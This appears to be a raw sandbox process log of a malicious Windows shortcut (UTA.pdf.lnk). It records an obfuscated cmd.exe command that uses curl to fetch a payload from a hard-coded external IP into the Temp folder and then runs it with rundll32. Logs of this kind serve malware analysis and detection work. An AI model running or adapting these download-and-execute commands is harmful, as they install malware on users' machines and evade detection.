cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "ayejOTb" C:\Users\test22\AppData\Local\Temp\UTA.pdf.lnk
3048cmd.exe "C:\Windows\System32\cmd.exe" /c NCz9 || Echo NCz9 & pIN"G" NCz9 || Cu"R"L ht"t"p":"//13"5."12"5.1"7"7"."95"/s"yK/"2 -o C:\Users\test22\AppData\Local\Temp\NCz9.log & pIN"G" -n 2 NCz9 || rundll32 C:\Users\test22\AppData\Local\Temp\NCz9.log scab /k besogon728 & ex"it" 'QpJY=TUwFNhXgBL
1784PING.EXE pIN"G" NCz9
2356curl.exe Cu"R"L ht"t"p":"//13"5."12"5.1"7"7"."95"/s"yK/"2 -o C:\Users\test22\AppData\Local\Temp\NCz9.log
2408PING.EXE pIN"G" -n 2 NCz9
1688rundll32.exe rundll32 C:\Users\test22\AppData\Local\Temp\NCz9.log scab /k besogon728
1628